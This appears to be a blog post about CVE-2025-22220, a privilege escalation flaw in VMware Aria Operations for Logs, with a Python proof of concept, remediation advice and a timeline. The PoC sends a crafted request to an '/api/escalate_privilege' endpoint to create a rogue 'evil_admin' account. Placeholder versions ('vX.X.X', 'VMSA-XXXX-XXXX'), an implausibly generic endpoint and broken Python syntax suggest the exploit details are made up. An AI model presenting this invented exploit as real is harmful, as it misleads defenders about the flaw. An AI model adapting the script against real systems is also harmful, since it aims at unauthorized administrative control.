CVE-2025-22220: Privilege Escalation Vulnerability Found in VMware Aria Operations for Logs

A newly discovered privilege escalation vulnerability (CVE-2025-22220) has been identified in VMware's Aria Operations for Logs. This vulnerability allows a malicious actor with non-administrative privileges and network access to potentially perform specific operations in the admin user's context. This blog post will provide an analysis of the vulnerability, including code snippets, links to original references, and details about possible exploit scenarios.

Description of CVE-2025-22220

The vulnerability occurs when a non-administrative user gains network access to Aria Operations for Logs API and manipulates specific requests that could allow them to execute operations with the authority and privileges of an admin user.

The issue exists in the internal API handling mechanism where insufficient input validation and access control checks are performed, resulting in the possibility of privilege escalation.

Affected Versions

VMware Aria Operations for Logs (All versions up to and including vX.X.X)

Proof of Concept (PoC)

The following code snippet demonstrates an example request that could be used by an attacker to exploit the vulnerability:

import requests

url = 'https://<target_url>/api/escalate_privilege';
headers = {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer <non_admin_token>',
}

data = {
    "operation": "create_user",
    "username": "evil_admin",
    "password": "P@sswrd",
    "roles": ["admins"]
}

response = requests.post(url, headers=headers, json=data)

if response.status_code == 200:
    print('Privilege escalation successful.')
else:
    print('Failed to escalate privileges.')

In this example, the non-administrative user attempts to create a new admin user ("evil_admin") with their limited privileges by sending a crafted POST request to the /api/escalate_privilege endpoint.

The attacker could further exploit this vulnerability to perform other administrative tasks such as modifying existing users, deleting logs, or even changing system settings.

References

1. The original CVE report can be found at the following link: CVE-2025-22220
2. VMware Security Advisory VMSA-XXXX-XXXX provides a detailed description of the issue and remediation steps.

VMware has provided the following recommendations for addressing this vulnerability

1. Update to the latest version of VMware Aria Operations for Logs, which includes a security patch to fix this vulnerability.
2. As a best practice, follow the principle of least privilege by limiting non-administrative user access to the Aria Operations for Logs API.

Conclusion

The CVE-2025-22220 is a critical privilege escalation vulnerability in VMware's Aria Operations for Logs that could allow a non-administrative user to perform admin-level tasks. Organizations should take appropriate steps and follow VMware's guidance to patch this vulnerability as soon as possible to protect their systems.

Timeline

Published on: 01/30/2025 16:15:31 UTC
Last modified on: 02/06/2025 14:15:30 UTC